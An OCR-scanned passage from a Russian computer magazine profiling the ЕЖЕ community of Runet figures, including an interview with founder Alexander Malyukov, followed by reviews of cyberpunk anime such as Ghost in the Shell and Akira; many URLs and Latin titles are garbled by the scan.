са, писать статьи в информационные проекты «ЕЖЕ» и т.д, 

[ЕЖЕ-проекгы] В рамках «ЕЖЕ» создана масса проектов. Один из са- 
мых интересных — «ЕЖЕ-правда». Это онлайновая газета, в которой 
анонсируются лучшие материалы, размещенные на просторах ру- 
нета. Статьи в блоге разбиваются на рубрики: спорт, культура, ком- 
пьютеры, зарубежные новости, политика. , . всех не перечесть. Анонс 
заметки в «ЕЖЕ-правду» готовит не выделенный для этого человек из 
сообщества, а автор оригинала или контент-менеджер сайта, где 
находится публикация. Поэтому обзоры получаются очень интерес- 
ными и информативными. Обычный анонс выглядит примерно так: 

МУЗЫКА/реорІез.ги/Борис Гребенщиков «В четверг вечером в зале 
МХАТа им. Горького группа «Аквариум» представляет свой новый 
альбом «200М 200М 200М» — светлый и беззаботный, родив- 
шийся за месяц во время работы над совсем другой пластинкой, ко- 
торую музыкантам пришлось оставить на потом». 

Чтобы прочитать дальше, достаточно проследовать по ссылке, 
«ЕЖЕ-правда» — мечта тех, кто любит пофилософствовать на тему 
превращения интернета в помойку. Ведь в «Правду» закрыт путь 
битым ссылкам, риркіп.ги и прочему мусору. Тебе не нужно пере- 
рывать инет в поисках чего-нибудь интересного — достаточно от- 
крыть «ЕЖЕ-правду». Да и поиск в архивах блога нередко эффек- 
тивней Яндекса. Просмотрев анонс, ты решишь, интересен ли те- 
бе материал и стоит ли его читать. «ЕЖЕ-правда» доступна по ад- 
ресу ѵѵѵѵѵѵ.егііе.ги/ргаѵсіа, но ты можешь таіоке подписаться на е- 
таіі рассылку или зафрендить комьюнити егГіе в ІіѵеіоигпаІ.сот. 
Ты наверняка мечтал написать бестселлер или сценарий, по ко- 




[Александр Малюков] 



[Антон Носик] 



торому будет поставлен фильм Спилберга, Что, даже написал?! 
А, его не стали печатать... Не расстраивайся, иди на 
\л/\л/\л/.ѳгІіе.ги/ѵдік — здесь находится «Всесоюзный государствен- 
ный институт кинематографии. База сценариев, заявок, либретто, 
этюдов». Сюда ты можешь отправить свой рассказ, сценарий или 
даже роман — он появится в бирже неопубликованных литера- 
турных произведений. А благодаря огромной посещаемости 
ЕЖЕ.ру и анонсам «ЕЖЕ-правды» новых поступлений в базу ВГИКа 
твои творения прочтут тысячи людей. Но и это еще не все. Твой ше- 
девр может заинтересовать какое-нибудь издательство, и, впол- 
не возможно, дело закончится публикацией. Не веришь? Наве- 
дайся по вышеуказанному урлу, и ты найдешь произведения и 
сценарии, которые оказались востребованными в оффлайне по- 
сле их появления на ЕЖЕ.ру. 

Свой утренний кофе я предпочитаю пить, открыв браузером «Ин- 
формационный бум». Это проект, который непринужденно рас- 
сказывает о близких каждому человеку вещах. У «Информацион- 
ного бума» семь колонок с семью авторами — на каждый день 
недели. Во вторник познакомишься с новостями музыки, в четверг 
узнаешь, как правильно готовить зеленый чай, а после прочтения 
воскресной веб-анатомии можешь считать себя гуру \л/еЬ-дизай- 
на. «Дискавери» отдыхает. 

Если ты ведешь >101< и не понимаешь, почему его никто не хочет читать, 
полистай дневник Алисы — еще один замечательный проект от ЕЖЕ- 
сообщества. Если честно, то это не дневник даже, а полноценное ли- 
тературное произведение, рассказывающее о повседневной жизни 
молодой девушки. Искрометный юмор, простота повествования — я 
не мог остановиться, пока не прочитал его от начала до конца. Али- 
са в своей книге по мотивам «Дневника Бриджит Джонс» Хелен Фил- 
динг рассказывает о своих мужьях, заклятых подругах, своем путеше- 
ствии в Америку. Очень крутой хумор, рекомендую! 

Хочешь узнать больше о крутых сетевых деятелях? Ознакомься с 
«НостальЕЖи»: здесь собрано огромное количество интервью со 
знаменитыми в интернете людьми. Тут все мало-мальски извест- 
ные рунетчики: от Носика до Экслера. 

Участники ЕЖЕ-движения — люди очень креативные, многие пер- 
лы которых меня реально вставляют. Две трЗ'шки от Зака Мая на- 
долго поселились в моем плеере, особенно понравилась песня 
«Я сбрасываю кожу», чью принадлежность к какому-либо музы- 
кальному жанру я определить так и не смог. Переложенный Алек- 
сандром Малюковым на современный лад роман «Мастер и 
Маргарита» надо преподавать в школе вместо Булгакова — куда 
веселее. Остальное оценишь сам, не буду портить сюрприз. 



[влияние на рунет] «ЕЖЕ» для 
российского интернета, как 
Оскар для мирового кинемато- 
графа. Признание успешности 
портала сообществом — это 
на сто процентов высокая по- 
сещаемость, доходы от рекла- 
мы, уважение других интернет- 
чиков. Для выделения самых 
инициативных и активных людей 
в рунете была создана галерея 
видных сетевых деятелей — 
«Физиономии русского интер- 




МЕЖДЦГНЛЗОДНЫЙ СОЮЗ 
ИНТОЧЕТ-ДЕЯТЕЛЕЙ 



[ежик — символ «ЕЖЕ»] 



нета» (ФРИ). Здесь можно посмотреть на внешний вид героев он- 
лайна, прочесть их биографии. ФРИ существует с 1997 года, с тех 
пор в галерею попал 461 экспонат. Страница ФРИ снабжена 
удобным поисковиком, так что ты без проблем найдешь информа- 
цию о нужном тебе человеке. !<аждая «физиономия» идет совме- 
стно с анкетой, которую заполняет сам участник галереи, поэто- 
му проект получился очень информативным и интересным. Кстати, 
если считаешь себя легендой рунета — напиши о своих достиже- 
ниях и требуй включить себя в галерею. Позже из ФРИ вырос кон- 
курс «Знаменитости русского интернета». Ежегодно пользовате- 
ли выбирают из интернет-знаменитостей тех, чье имя у них ассо- 
циируется с определенными проектами в Сети. Таким образом, 
победитель ЗРИ — наиболее запомнившаяся своими делами лич- 
ность. В разное время конкурс выигрывали Артемий Лебедев, 
Дмитрий Вернер, Иван Паровозов. Участвуй в голосовании ЗРИ — 
какой еще стимул есть у людей тратить уйму времени на развитие 
своих сетевых проектов, кроме признания интернетчиков?! 

Но наиболее известный и значительный конкурс в «ЕЖЕ», да и во 
всем рунете, — это РОТОР. «Российский онлайн топ» создан для 
выявления лучших сайтов и сетевых деятелей. Есть такие номина- 
ции, как «Дизайн года», «Информационный сайт года», «Сетевой 
писатель года», «Блог года», «Лучший ИТ-портал» и многие другие, 
В общем, ничто не осталось незамеченным. Конкурс проводится 
ежегодно начиная с 2000 года и всегда притягивает к себе огром- 
ное внимание журналистов и пользователей глобальной Сети, Го- 
лосование проходит в несколько этапов. На первом этапе под- 
писчики «ЕЖЕ-листа» выбирают жюри среди участников сообще- 
ства. Причем человек, который был членом жюри в прошлом году, 
в следующем такого права уже не имеет. Затем жюри выдвигает 
претендентов в каждой номинации. А в финале путем голосова- 
ния выбираются победители из тех, кто был отобран ранее. 
Призов в конкурсе нет. Выиграть РОТОР — значит получить призна- 
ние коллег и добиться статуса лучшего в своей области. Чаще всех 
победителями в конкурсе становились библиотека Мошкова — три 
раза, и доодіѳ.ги — четыре раза. 




[досье на Алекса Экслера] 
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[деятельность «ЕЖЕ»] Чтобы облегчить поль- 
зователю навигацию по Сети, были созда- 
ны ЕЖЕдневки, Этот проект представляет 
собой страницу с линками на самые инте- 
ресные ежедневно обновляемые порталы. 

Включенные в этот лист сайты гарантируют 
пользователю периодичность, информа- 
тивность и высокое качество контента. Для 
удобства порталы разбиты на разделы: 
бизнес, литература, новости е+с. ЕЖЕне- 
дельники и ЕЖЕмесячники — это то же сам- 
ое, с разницей в периодичности. 

Но сердцем движения является дискусси- 
онный мейл-лист. Именно здесь участники 
разговаривают, делятся опытом, вступают в 
жаркие споры, выбирают жюри различных сетевых конкурсов. 
«ЕЖЕ-лист» был создан 9 августа 1997 года Александром Малюко- 
вым и Леонидом Делицыным, так как разросшемуся к тому време- 
ни сообществу требовалась коммуникация, а 119С-каналы и фору- 
мы не подходили. 

Рассылка позволяет узнать новости рунета, веб-дизайнерские 
секреты, на практике научиться журналистике и риторике. Под- 
писчики листа имеют право на выдвижение своей кандидатуры 
в качестве члена жюри в РОТОРе, они могут использовать ре- 
сурсы сервера, закрытые для остальных посетителей. В «ЕЖЕ- 
листе» ценятся люди с незаурядным мышлением, большим 
объемом знаний, умением интересно преподносить свои мы- 
сли, Только так здесь можно достойно общаться, получая отда- 
чу от потраченного на мейл-лист времени. Ведь трафик внутри 
иногда поднимается до ста писем в день! «ЕЖЕ-лист» — закры- 
тая рассылка, попасть туда можно с разрешения модератора. 
Если модератору покажется, что ты мешаешь другим, то тебя 
благополучно переведут в геасі опіу или вообще отпишут. Мне- 
ния и высказывания, услышанные в мейл-листе, не могут нигде 
цитироваться и распространяться без разрешения автора. Это 
джентльменское соглашение сделано для создания более 
дружелюбной и доверительной атмосферы в ЕЖЕ-сообществе. 
Для подписки на мейл-лист отправь письмо Александру Малю- 
кову, чей адрес я уже давал в начале статьи, и поведай, зачем 
тебе нужна рассылка, в каких сетевых проектах ты участвуешь, 
где узнал про «ЕЖЕ». 

Также у «ЕЖЕ» есть две рассылки, посвященные рекламе в ин- 
тернете: еВаппегб и ЫЕВО. «Небо» — закрытый мейл-лист, где об- 
щаются профессионалы, а вот на «еБаннерс» подписаться мо- 
жет любой желающий. Рассылка НеТАгТ рассказывает обо всех 
премудростях сетевого искусства, ее модерирует известный ху- 
дожник Даниил Васильев. 

Сообществом создан проект «СпамЭпидемСтанция», напра- 
вленный на ликвидацию массовых рекламных сообщений. 
Участники заносят в черный список адреса, содержащие не- 
желательную рекламу. Этот список вывешен на всеобщее обо- 
зрение, и ты без проблем можешь забить в стоп-лист адреса 



спамеров. Также ЕЖЕками написана масса материалов, по- 
священных защите от спама. 

«ЕЖЕ» поддерживает интернет-проекты и сетевых деятелей, нес- 
праведливо оказавшихся в тяжелом положении. Движение дела- 
ло все возможное, чтобы оправдать библиотеку Мошкова, обви- 
няемую в пиратстве. А решение суда, признавшего виновность 
ІІЬ.ги в нарушении авторских прав писателя Геворкяна, РОТОР- 
2005 назвал разочарованием года. 

Нашумевшее дело Дмитрия Склярова, создавшего программу 
для обхода защиты электронных книг формата АсІоЬе РЭЕ, не 
прошло мимо «ЕЖЕ». Сообщество писало открытое письмо к 
властям с требованием освободить Дмитрия, проводило акции 
протеста в Москве у американского посольства, собирало 
пожертвования. Был создан специальный сайт в защиту Дми- 
трия Склярова, ссылку на который поместили все ЕЖЕдневки и 
ЕЖЕнедельники. Так что «ЕЖЕ» способно постоять за видных 
людей рунета. 

В Сети есть очень неприятное явление — плагиат. Написал ты 
уникальную статью о размножении африканских тушканчиков — 
бац, а какой-то урод ее поместил на свой сайт, не указав авто- 
ра. Это напрягает не только тебя, но и ЕЖЕ-сообщество, которое 
на этот случай создало «Доску позора». В этом проекте разме- 
щены имена злодеев, укравших чужой текст, — пусть народ зна- 
ет свиней, позорящих рунет. Зачастую после публикаций на 
доске плагиаторы указывают настоящего автора и дают линк на 
местонахождение оригинала. 

[сообщество] «ЕЖЕ» неспроста называют элитой рунета. Это не 
громкий попсовый эпитет — в сообщество входят самые извест- 
ные и активные труженики Сети: Антон Носик, Аеонид Делицын, 
Дмитрий Вернер, Алекс Экслер, Дмитрий Иванов, Евгений Горный. 
Что представлял бы рунет без этих людей?! Не знаю, но ничего хо- 
рошего на ум не приходит. 

ЕЖЕки регулярно проводят встречи в оффлайне. Учитывая геогра- 
фическую отдаленность, собрать всех вместе нереально, но 
участники движения из одного города встречаются постоянно. На 
подобных тусовках обсуждаются дела сообщества, произносят 
тосты за будущее рунета и просто общаются с людь- 
ми, которых раньше знали только по мейл-листу. Пер- 
вая встреча ЕЖЕЙ прошла в Питере в 1997 году. Теперь 
это стало традицией. 

[интервью с Александром Малюковым] Думаю, тебе 
будет интересно узнать, что о своем проекте думает 
его отец-основатель. Поэтому я подготовил для тебя 
интервью с тем самым Александром Малюковым. 
Илья ТѴѵександров (ИА): Здравствуйте, Александр. 
Немного о себе: где живете, где работаете, чем зани- 
маетесь в свободное время? 

Александр Малюков (АМ): Живу я в городе Турку, Фин- 
ляндия. Работаю менеджером среднего звена в фин- 
ской компании-производителе мобильных телефонов. 
Увлекаюсь музыкой, литературой, кинематографом, ну- 
мизматикой, немного фотографией и много интернетом. 
И.А.: «ЕЖЕ» отнимает у вас много времени? Как вы его 
находите? Ради чего вам все это? Есть ли какой-ни- 
будь доход от проекта? 

А.М.: «ЕЖЕ» отнимает у меня времени ровно столько, 
сколько я хочу на него тратить. Исключение составля- 
ет время проведения сетевых конкурсов, запуска но- 
вых проектов, смены дизайна, когда на меня падает 
дополнительная нагрузка. Коль скоро интернет для 




[титульная страница проекта «ЕЖЕ»] 






меня — хобби, время на него я нахожу с 
превеликим удовольствием. «ЕЖЕ» — про- 
ект некоммерческий, как следствие, не 
приносит мне и остальным участникам ни- 
какото дохода. 

И.А.: Какие у вас обязанности в «ЕЖЕ»? 

А.М.: Я слежу за ЕЖЕ-сервером {Шр://егІіе. 
ги), модерирую закрытый список рассылки 
«ЕЖЕ-лист» фир://егІіе.ги/Іізі), провожу се- 
тевой конкурс РОТОР {Шр://ѳ 2 Іпе.ги/РО- 
ТОР), притлядываю за талереей «Физионо- 
мии русского интернета» (Шр://ѳіІіѳ,гиДгі), 
редактирую тазету-анонсницу «ЕЖЕ-пра- 
вда» (Мір://егІіе.ги/ргаѵсІа) и прадюсирую 
интеллектуально-развлекательный проект 
«Информационный бум» (Шр://егІіѳ.ги/ІЬ). 

И.А.: Есть ли будущее у проекта? Каким вы 
ето видите? 

А.М.: Международный союз интернет-дея- 
телей развивается в двух направлениях. С 
одной стороны, на ЕЖЕ-сервере потихань- 
ку формируется уникальная зона из полез- 
ных и интересных интернет-проектов, С 
другой, ЕЖЕ-движение как профессио- 
нальный союз деятелей российского ин- [встреча участников «ЕЖЕ»] 
тернета медленно, но верно набирает си- 
лу и влияние. «ЕЖЕ» — это не потемкинские деревни а-ля интернет- 
академии, которые были созданы либо по указке сверху, либо в 
таком виде, чтобы власть предержащим было удобнее гладить 
сетевых по головке. 

И.А.: Расскажите о РОТОРе-2005. Чта удивила, чта оказалась 
законсмерностью? Что особенно запомнилось? 

А.М.: Я оцениваю канкурс по трем параметрам: скалька человек 
приняли участие в судействе (насколько интересен конкурс 
участникам ЕЖЕ-движения), какой резонанс в сетевых СМИ вызва- 
ли результаты конкурса (насколько интересен конкурс вне «ЕЖЕ») 
и было ли интересно судить РОТОР мне самому. 

РОТОР-2005 получился на все 100, В нем приняло участие рекор- 
дное число подписчиков «ЕЖЕ-листа» — 220 человек, о конкурсе 
написали почти все профильные издания (Шр://ѳгІіе.ги/РО- 
ТОР/ргеБЗ.МтО, конкурс держал меня в напряжении до послед- 
них минут финальното тура, обогатил мои закладки серией полез- 
ных и познавательных проектов. Здорово, очень здорово все полу- 
чилось в этом году. Плюс, по окончании конкурса на меня обру- 
шилась прсдуктивная критика на «ЕЖЕ-листе», к которой я склонен 
прислушаться. Это значит, что конкурс будет меняться, развивать- 
ся, что не может не радовать. 

И.А.: Какие события вы бы особенно выделили в истории ЕЖЕ-со- 
общества? 

А.М.: Мне трудно выделить, ведь в каждый проект вложена душа и 
энертия ето создателей {Шр://егРе.ги/сгеаФгзМт!). Результаты, 
наработки на уровне идеи были использованы впоследствии (и не 
только ЕЖами) многократно. Лучше я отошлю вас к странице, тде 
история ЕЖЕ-движения рассказывается словами очевидцев 
(Мір://егІіѳ. ги/Мзіогу. МтІ) . 

И.А.: Какие оайты посещаете? Кроме ѳгііе.ги, разумеется. 

А.М.: Последнее время, спасибо РОТОРу-2005 за наводку, часто 
начинаю день с «Новотеки» {Шр://поѵоіека.ги) — удобная штука; 
новости — іепіа.ги и ЫЕѴѴЗги.сот: спорт — «Спорт сегодня» 
{Шр://зрог^з.ги) и раздел спорта в Газета, Ру; юмор — «Анекдоты 
из России» и Экслер.Ру. Последние несколько лет я почти не при- 
вязан к конкретным сайтам: если мне нужно что-то, я нахожу че- 



[некоторые победители РОТОРА-2005] 

Человек года — Максим Мошков 
Журналист года — Валерий Панюшкин (Г азета.ги) 
Дизайн года — поѵоіека.ги 
Информационный сайт года — іепіа.ги 
Блог года — ѵѵѵѵѵѵ.ііѵеіоитаі.сот/изегз/тоггіге 
Лучший ИТ-сайт — іХВТ.сот 
Музыкальный сайт года — гѵикі.ги 
Юмористический сайт — ѵіасіітіг.ѵіасіітігоѵісіі.ги 
Влияние на оффлайн — Ііѵеіоигпаісот 
Киносайт года — аіізііа.ги/сіпета 
Художественный сайт года — ѵѵѵѵѵѵ.Іірка.ги/даІІегу 






[ЕЖЕнедельники] 



рез поисковые системы. Опять же, различные блоти и «Живой 
журнал» регулярно снабжают меня казырными линками. Если 
мне чего-то начинает в Сети не хватать, я пытаюсь восполнить 
пробел своими силами. Так появился «Информационный бум». А 
если я что-то умудрился пропустить, РОТОР восполнит пробел в 
обязательном порядке, 

И. А. : Есть ли в России ортанизации, аналотичные «ЕЖЕ»? А в мире? 
А.М.: Такие, чтобы один в один «ЕЖЕ», — нив России, ни в мире мне 
пока не попадались. Чаще всего объединены либо представите- 
ли одной сетевой профессии (дизайнеры, программисты), либо 
вокрут идеи какой-нибудь конфронтации (борьба с идиотским 
законом, в защиту чего-нибудь/кото-нибудь). 

И. А.: ЕЖЕки встречаются в реальной жизни, в оффлайне? 

А.М.: Канечна, Не раз проходили ЕЖЕ-митинги в Москве и Питере. 
Дваткды проводился САМмит — это когда я праездом через Мос- 
кву возвращался в страну Суоми. 

И. А.: Были ли попытки взлома вашего сайта? 

А.М.: Слава Боту, не было (пожалуйста, не примите мой «вздох» 
за притлашение попробовать ЕЖЕ-сервер на зуб). Техническую 
поддержку ЕЖЕ-сервера и большинства ЕЖЕ-проектов асу- 
ществляет Дмитрий Леонов {Шр://егПе.ги/Ігі/10) — соавтор 
книг «Атака на ІпГегпеГ» и «Атака из ІпГегпеГ», саздатель проекта 
ВидТгар.Ри. 

И.А.: Спасибо, что нашли время для нашего журнала. Успехов! 

[З.Ы.] Что же, вот ты и познакомился с лучшими представителями 
рунета. С теми, кто делает потоду в анлайне. Не хочешь присое- 
диниться? Создавай свой мегапортал со свежими идеями, и 
«ЕЖЕ» обязательно поможет в раскрутке. Неси интернет в массы, 
за виртуальным миром большое будущее! 0 
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ЮНИТЫ КРЕАТИФФ КОДИНГ УМІХОЮ [СЦЕНА] ВЗЛОМ ИМПЛАНТ РС_20МЕ РЕРПУМ НЬЮСЫ 



ДУМАЮ, КАК И ВСЕ КОМПЬЮТЕРЩИКИ, ТЫ ЯВЛЯЕШЬСЯ БОЛЬШИМ ПОКЛОННИКОМ «МАТРИЦЫ». ПРОБ- 
ЛЕМА В ТОМ, ЧТО ГОЛЛИВУД НЕ СПЕШИТ РАДОВАТЬ НАС ПОДОБНЫМИ ХИТАМИ. МОЖНО ГОДАМИ 
ЖДАТЬ МАТРИКС-КИЛЛЕРА, А МОЖНО ОБРАТИТЬ СВОЕ ВНИМАНИЕ НА МУЛЬТФИЛЬМЫ. КОНЕЧНО, Я НЕ 
СОБИРАЮСЬ ЗНАКОМИТЬ ТЕБЯ С МИККИ МАУСОМ И ДЯДЕЙ СКРУДЖОМ — МУЛЬТЫ БЫВАЮТ НЕ ТОЛЬ- 
КО ДЕТСКИЕ. СРЕДИ АНИМАЦИОННЫХ ФИЛЬМОВ ВСТРЕЧАЮТСЯ НАСТОЯЩИЕ ШЕДЕВРЫ С ГЛУБОКОЙ 
ФИЛОСОФИЕЙ И СМЫСЛОМ. ИМЕННО О ТАКИХ ВЕЩАХ, СОЗДАННЫХ В ЖАНРЕ КИБЕРПАНК И ОБЯЗА- 
ТЕЛЬНЫХ К ПРОСМОТРУ КАЖДОМУ КОМПЬЮТЕРЩИКУ, Я ТЕБЕ РАССКАЖУ I тіпсІууОгк (тІпсІ\л/Огк@датеІапсі.ги) 




Мульты для хакеров 

Киберпанк в мультипликации 




[©Ьо5І' іп 1'Ііе ЗЬѳІІ] Одно из самых известных аниме, которое в свое время многих вдохновило на путь 
отаку (грубо говоря, безбашенный анимешник). И самый известный мультфильм в жанре киберпанк. 
Действие картины разворачивается в 2029 году в городе Ньюпорт — одном из крупнейших мировых 
центров торговли и технологий. Человечество сделало большой шаг в развитии. Киборги, организм 
которых усовершенствован с помощью механических частей, полуразумные роботы, компьютер- 
ные вирусы, наделенные искусственным интеллектом, — все это стало реальностью. Теперь глав- 
ным отличием человека от искусственно созданных машин является наличие в нем «призрака», или 
попросту человеческой души. Главные герои — майор Мотоко Кусанаги и Бато — киборги, рабо- 
тающие в девятом отделе Бюро общественной безопасности, основной спецслужбы Японии. За- 
нимаются они тем, что расследуют преступления, совершенные киборгами. В прошлом этой па- 
рочке удалось успешно раскрыть множество запутанных дел, но теперь им противостоит настоя- 
щий злой гений. Таинственный хакер, обладающий потрясающей способностью проникать в 
«призраки» людей и брать над ними контроль. Все, что о нем известно, — это прозвище «Кукловод» 
и то, что в списке самых разыскиваемых и опасных преступников он числится на первом месте. 
Каждый раз, когда девятому отделу удается выйти на след Кукловода, он ускользает, оставляя за 
собой новые жертвы, живущие теми воспоминаниями, которые вложил в них хакер. Каково же бы- 
ло удивление сотрудников отдела, когда однажды преступник номер один сам пришел к ним в гос- 
ти. И под маской Кукловода Мотоко и Бато обнаруживают совсем не то, что ожидали увидеть. 
Основное, за что хвалят это аниме, — качество анимации и прорисовки. В 1995 году мало какой 
мультфильм мог в этом сравниться с ѲІТЗ'ом. Компьютерного рендеринга нет, но от некоторых 
сцен создается впечатление, что все это сделано в 30-редакторе. В отличие от многих аниме-се- 
риалов, где из-за нехватки кадров персонажи дергаются, здесь анимация очень плавная. 

ѲГюзГ іп ГГіе ЗГіеІІ стал первым по-настоящему киберпанковым аниме, и многие идеи из него брались 
при создании других картин этого жанра. Братья Вачовски внимательно изучали японское творение 
перед тем, как приступить к созданию «Матрицы», В мульте немного экшен-сцен со стрельбой и по- 
гонями. В основе лежит философия. Мотоко Кусанаги, которая, в отличие от Бато, является пол- 
ностью кибернетическим организмом, но имеет человеческий мозг, размышляет о том, можно ли ее 
считать живым существом. Кукловод, обладая практически безграничными возможностями в Сети, 
ищет для себя новые горизонты. Атмосферу фильма дополняет специфичный саунд в духе АглЬіепГ. 
На фестивале международной анимации в 1997 году ѲІтозІ іп ІІпе ЗНеІІ завоевал первое место по 
двум номинациям. Именно тогда картину заметили за пределами Японии, и она получила культо- 
вый статус не только на родине, но и во всем мире. 






[Акіга] Классика аниме, фильм, который советуют посмотреть всем начинающим анимешникам. В 
1988 году он покорил мир плавностью анимации (впервые в истории мультипликации использова- 
лись 24 кадра в секунду) и детальностью прорисовки. Акира завоевал множество наград, долгое 
время находился в топах самых популярных фильмов и дах<е сейчас, на фоне навороченных 
компьютеризированных аниме, смотрится прилично. Режиссер мульта Отомо Кацухиро поставил 
его по своей собственной шеститомной манге, а бюджет картины составил рекордные для 
японского аниме того времени 10 миллионов долларов. 

Действие разворачивается в 2019 году, спустя 31 год после Третьей Мировой войны. Япония 
пережила мощный ядерный удар и теперь находится в состоянии полной анархии. Повсюду 
забастовки, насилие и преступность. Противостоять этому правоохранительные органы не в 
силах, и единственной надеждой становится секретный проект. Его целью является выращи- 
вание детей, наделенных сверхспособностями. Только они могут изменить обстановку в 
стране и искоренить преступность. В какой-то момент один из детей сбегает и оказывается 
на улице, где его на мотоцикле сбивает Тоцуо — член байкерской банды Канеда. Познако- 
миться поближе они не успевают — на место прибывают военные и забирают их обоих с со- 
бой. В научных лабораториях над Тоцуо проводят ряд экспериментов, в результате которых 
становится понятно, что парень наделен феноменальными способностями. Открыв в себе 
дар, Тоцуо начинает мстить своим старым обидчикам. А главной целью является Акира — тот, 
кто стоит за всеми этими экспериментами и кто, по слухам, наделен огромной силой. 
Отношение к этому аниме у знатоков разное. Одни его считают шедевром, другие — слишком пе- 
реоценной вещью. Но факт остается фактом — в 1988 году этот мульт сделал революцию в мире 
аниме и установил графическую планку для всех создателей японских мультфильмов. Также «Аки- 
ра» стал самым брутальным аниме в истории — в нем много сцен насилия и крови. В некоторых 
странах его даже не рекомендовали к просмотру детям до 16. 




[ВаТИе АпдеІ АІІ+а] Далекое будущее. Тифарес — оплот человечества, парящий над землей город- 
рай, в котором мечтает жить каждый человек. Но далеко не всем повезло, многие влачат существо- 
вание на Свалке — полной противоположности Тифареса, Здесь правят насилие и деньги, а связь с 
внешним миром полностью отрезана, Доіаор Идо — один из жителей Свалки, зарабатывающий на 
жизнь ремонтом киборгов. Периодически он обыскивает залежи мусора вокруг в поисках нужных 
деталей. И однажды обнаруживает тело девочки-киборга с ангельским лицом, которая чудом оста- 
лась в живых. Идо, который давно мечтал создать что-нибудь прекрасное, не похожее на все вокруг, 
забирает ее с собой и полностью восстанавливает. Единственное, что не удается вернуть, — это па- 
мять. Девочка получает новое имя и остается жить с доктором. Но через какое-то время память начи- 
нает постепенно возвращаться. Алита открывает в себе боевые навыки и понимает, что создана она 
вовсе не для того, чтобы нести свет. Став охотником-воином, она выходит на тропу войны со злом. 
Таков нехитрый сюжет этого аниме. Несмотря на кажущуюся простоту, в Алите много философии, 
важной составляющей является иллюстрация взаимоотношений Идо и Алиты. Бои с «плохими пар- 
нями» — всего лишь фон, само аниме совсем не об этом. Как и многие другие японские мультфиль- 
мы, этот затрагивает вопросы смысла жизни. А таіоке того, насколько важно ставить цель и идти к 
ее достижению. Цель Идо — выбраться из гетто, в котором он заточен с рождения, и попасть на Ти- 
фарес. Алита, которая начинает испытывать к своему спасителю определенные чувства, пытается 
помочь ему. Но смогут ли они вдвоем пройти через все препятствия на пути к заветной мечте? 
Многие ценители аниме, знакомые с одноименной мангой (грубо говоря, комиксом), считают эк- 
ранизацию неудавшейся. В книжной версии герои намного более одушевленные, к тому же соз- 
датели фильма переделали некоторые моменты на свой лад. Автор манги Юкито Кисиро был от 
этого далеко не в восторге и приложил все усилия, чтобы не допустить продолжения. 
Голливудский режиссер Джеймс Камерон объявил о своем намерении сделать художественный 
фильм по мотивам аниме и манги — «Боевой ангел Алита». Но пока подробностей на этот счет нет. 
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[АррІезееЦ] Однозначно самое красивое аниме из всех, что я видел. Сделанный с применением 
последних достижений компьютерной мультипликации и технологии МоГіоп Саріиге, он наверняка 
станет примером для многих мультфильмов ближайших лет. 

Начинается мульт с перестрелки в разрушенном городе, где девушка в камуфляжной форме вместе 
с товарищами пытается отбить нападение киборгов. В последний момент на помощь Дюнан (так зо- 
вут героиню) приходят неизвестные люди, которые усыпляют ее и доставляют в Олимп. Как она узна- 
ет позже, этот мегаполис является настоящим раем с идеальной экологией, отсутствием преступнос- 
ти и всем, что только может пожелать человек. Помимо людей, в Олимпе живут биороиды, которые 
праіаически ничем не отличаются от человека, но не имеют «вредных» эмоций. Биороиды считаются 
идеальной человеческой расой, ведь из-за того, что они не могут испытывать любовь и ненависть, они 
не могут развязать войну и не применяют насилие. Но есть, оказывается, и те, кто «людей будущего» 
терпеть не может и мечтает искоренить их раз и навсегда. Подтверждением того становится внезап- 
ная атака на суперкомпьютер «Гайа», который управляет городом и от которого зависит жизнь всех 
биороидов. Если теперь не найти «яблочное семя», которое способно восстановить систему жизнео- 
беспечения, то погибнут миллионы жизней. На поиски утраченного артефакта отправляется Дюнан и 
ее бывший товарищ, превратившийся в киборга после потери на войне своего биологического тела. 
Аниме снято по мотивам старенькой манги Сиро Масамунэ, которая в 1986 году удостоилась 
премии Ѳаіаху А\л/агс1 в номинации «Научная фантастика». Через два года по этой манге был 
поставлен полнометражный мульт, но он не идет ни в какое сравнение с шедевром 2004 года. 
АррІезеесІ в визуальном плане превосходит даже ѲІТЗ-2. Изображение Олимпа ну>кно видеть своими гла- 
зами — все настолько детально, что ты начинаешь верить: именно таким дол>кен быть город будущего, 
Таіоке стоит отметить постановку боев, будь то начальная сцена «Дюнан против киборгов», нападение на 
Гайю или потрясающий бой с механическими пауками в конце. Несмотря на то что порой герои тоже 
рассуждают о духовном (например новая подруга Дюнан, будучи биороидом, откровенничает о своей 
зависти к людям, способным любить), весь мульт — сплошной экшен. И смотрится это на одном дыхании. 
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[Апітоігіх] «Аниматрица» — это сборник из девяти короткометражных 30-мультфильмов. Ме>кду собой 
они никак не связаны, за исключением того, что события в каждой части происходят во вселенной «Мат- 
рицы». В Апітаітіх ты найдешь ответы на некоторые вопросы, которые у тебя остались после просмотра 
известной трилогии. Туг подробно рассказывается о том, как началась война против машин, как маши- 
ны захватили власть, как для избранных проходил процесс пробуждения из «мира грез». Показывается 
жизнь повстанцев и зрелищная битва со спрутами. Визуально каждая часть таіоке оформлена по-раз- 
ному. Некоторые нарисованы в типичном стиле аниме, другие — технологией «рваной» мультипликации 
(ее часто используют в музыкальных клипах), а пара частей сделана полностью на компьютере в духе 
РіпаІ РапТазу. Дело в том, что фильм создан не одним режиссером — помимо братьев Вачовски, к нему 
приложили руку другие известные режиссеры, ка>і<дый из которых работал над своей частью. 

В «Аниматрице» нет главного героя. Герои чередуются от одной части к другой, и вряд ли ты проникнешь- 
ся глубиной их хараістера. Задача авторов — дать тебе недостающие фрагменты головоломки. 

Вряд ли «Аниматрицу» оценят те, істо не смотрел оригинал. Ведь по сути это не полноценная картина, а до- 
кументальное объяснение некоторых вещей. Ріо еще более вряд ли, что ты пропустил такой фильм, как 
«Матрица». Скорее всего, ты пересмотрел его не один раз, поэтому тебе обязательно стоит посмотреть 
совместное творение Вачовски и японских аниматоров. 




[АггттіГаде III] АгтІГаде III состоит из двух частей: Роіу МаРгіх (1997) и ее прямого продолжения ОиаІ 
МаРгІх (2002). В первой части события разворачиваются в недалеком будущем на Марсе. Людям 
приходится сосуществовать с полуразумными роботами второго поколения, которых с каждым го- 
дом становится все больше и которых многие земляне недолюбливают. Детектив Росс Силабус, 
эксперт по роботам, вместе с новым напарником Наоми Эрмитаж расследуют загадочное убий- 
ство прибывшей на планету певицы. Как оказалось, она является роботом третьего поколения, 
практически не отличимым от людей и в связи с запретом властей вынужденным скрывать свою сущ- 
ность. Кому могла понадобиться ее смерть? И почему Наоми настолько заинтересована в разгад- 
ке преступления? Ответы на эти вопросы ты узнаешь в процессе просмотра. 

